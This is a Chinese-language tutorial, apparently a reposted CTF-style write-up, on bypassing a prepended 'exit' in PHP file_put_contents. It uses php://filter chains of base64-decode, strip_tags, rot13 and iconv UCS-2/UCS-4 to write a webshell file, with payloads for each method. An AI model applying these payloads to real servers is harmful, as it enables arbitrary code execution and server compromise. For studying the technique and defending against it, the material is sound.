file_put_contents利用技巧(php://filter協議)


Round 1

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在開頭增加了exit過程,導致即使我們成功寫入一句話,也執行不了。幸運的是,這里的$_POST['filename']是可以控制協議的,我們即可使用 php://filter協議來施展魔法。

#方法一、base64編碼

使用php://filter流的base64-decode方法,將$content解碼,利用php base64_decode函數特性去除“死亡exit”。

眾所周知,base64編碼中只包含64個可打印字符(A-Z a-z 0-9 + /)'='補位,而PHP在解碼base64時,遇到不在其中的字符時,將會跳過這些字符,僅將合法字符組成一個新的字符串進行解碼。

所以,當$content被加上了<?php exit; ?>以后,我們可以使用 php://filter/write=convert.base64-decode 來首先對其解碼。在解碼的過程中,字符<、?、;、>、空格等一共有7個字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有“phpexit”和我們傳入的其他字符。

“phpexit”一共7個字符,因為base64算法解碼時是4個byte一組,所以給他增加1個“a”一共8個字符。這樣,"phpexita"被正常解碼,而后面我們傳入的webshell的base64內容也被正常解碼。結果就是<?php exit; ?>沒有了。

最終效果:

#方法二、利用字符串操作方法+base64組合拳

除了使用base64特性的方法外,我們還可以利用php://filter字符串處理方法來去除“死亡exit”。我們觀察一下,這個<?php exit; ?>實際上是什么?

實際上是一個XML標簽,既然是XML標簽,我們就可以利用strip_tags函數去除它,而php://filter剛好是支持這個方法的。

編寫如下測試代碼即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

可見,<?php exit; ?>被去除了。但回到上面的題目,我們最終的目的是寫入一個webshell,而寫入的webshell也是php代碼,如果使用strip_tags同樣會被去除。

萬幸的是,php://filter允許使用多個過濾器,我們可以先將webshell用base64編碼。在調用完成strip_tags后再進行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被還原。

最終效果:

#方法三、ROT13編碼

原理和上面類似,核心是將“死亡exit”去除。<?php exit; ?>在經過rot13編碼后會變成<?cuc rkvg; ?>,在PHP不開啟short_open_tag時,php不認識這個字符串,當然也就不會執行了:

 

 Round 2 

<?php
$a = $_POST['txt'];
file_put_contents($a,"<?php exit();".$a);

這種是前后兩個變量相同,假設$a可控情況。

這種相同變量的構造方式和不同變量的構造方式思路是大差不差的,都是需要干掉<?php exit();,只不過構造起來相對更復雜一些。

#方法一、base64編碼

根據前面介紹的不同變量的構造方法,很容易拓展到相同的變量,同樣利用php://filter來構造,反正后面是寫入的內容,只要在后面解碼的時候把shell解碼出來,不需要的東西解碼成亂碼即可,而Base64構造的話,例如

$a=php://filter/write=convert.base64-decode|PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php
<?php phpinfo();?>    base64編碼    PD9waHAgcGhwaW5mbygpOz8+      )

構造的shell可以放在過濾器的位置和文件名位置都可以(其他編碼有時候會有空格什么的亂碼,文件名不一定好用),php://filter面對不可用的規則(一串base64)是報個Warning,繞后跳過繼續執行的(不會退出),所以按理說這樣構造是“很完美”的。我們看下base-decode哪些字符👇

php//filter/write=convertbase64decodePD9waHAgcGhwaW5mbygpOz8+/resource=shellphp

而默認情況下base64編碼是以 = 作為結尾的,所以正常解碼的時候到了 = 就解碼結束了,即使我們構造payload的時候不用write=,但是在最后獲取文件名的時候resource=中的 = 過不掉,所以導致過濾器解碼失敗,從而報錯...

這里用base64編碼我還沒找到好的方法,待補充...

#方法二、ROT13

rot13編碼就不存在base64的問題,所以和前面base64構造的思路一樣

$a = php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php

 

 和前面提到的一樣,這種方法是需要服務器沒有開啟短標簽的時候才可以使用(默認情況是沒開啟的:php.ini中的short_open_tag)

#方法三、iconv字符編碼轉換

通過字符轉換把<?php exit();轉成不能解析的,這里采用的是UCS-2或者UCS-4編碼方式,而我們構造的轉成可正常解析的

#echo iconv("UCS-2LE","UCS-2BE",'<?php phpinfo();?>');
?<hp phpipfn(o;)>?

這里用的是UCS-2,當然我們也可以用UCS-4

echo iconv("UCS-4LE","UCS-4BE",'aa<?php phpinfo();?>');
?<aa phpiphp(ofn>?;)

通過UCS-2或者UCS-4的方式,對目標字符串進行2/4位一反轉,也就是說構造的需要是UCS-2或UCS-4中2或者4的倍數,不然不能進行反轉,那我們就可以利用這種過濾器進行編碼轉換繞過了,構造payload

$a='php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php';

**or**

$a='php://filter/convert.iconv.UCS-4LE.UCS-4BE|xxx?<aa phpiphp(ofn>?;)/resource=shell.php';
#由於是4位一反轉,所以需要保證?<aa phpiphp(ofn>?;)之前字符個數是4的倍數,所以補充了 xxx

 

 

 

#方法四、iconv字符編碼轉換+ROT13編碼組合拳

和前后不同的變量的利用一樣,相同變量一樣可以使用組合拳,原因前面描述過了,就不贅述,這里就用UCS-2和rot13舉一個例子吧

$a = 'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x?<uc cucvcsa(b;)>?/resource=shell.php'
#先將 <?php phpinfo(); ?> 進行rot13得到<?cuc cucvasb();?>
#再對<?cuc cucvasb();?>進行UCS2編碼轉換得到?<uc cucvcsa(b;)>?
#最后x 補位
#最終得到x?<uc cucvcsa(b;)>?

 

 為何不用string.strip_tags呢?因為rot13轉換的同樣會被strip_tags方法給刪除了,而UCS-2或UCS-4構造的也同樣會被strip_tags方法給刪除,這里需要找其他的編碼方式進行構造。

 

 

 

 

參考:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://mp.weixin.qq.com/s/BXBe0sviIpjzQb49fk1TCg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM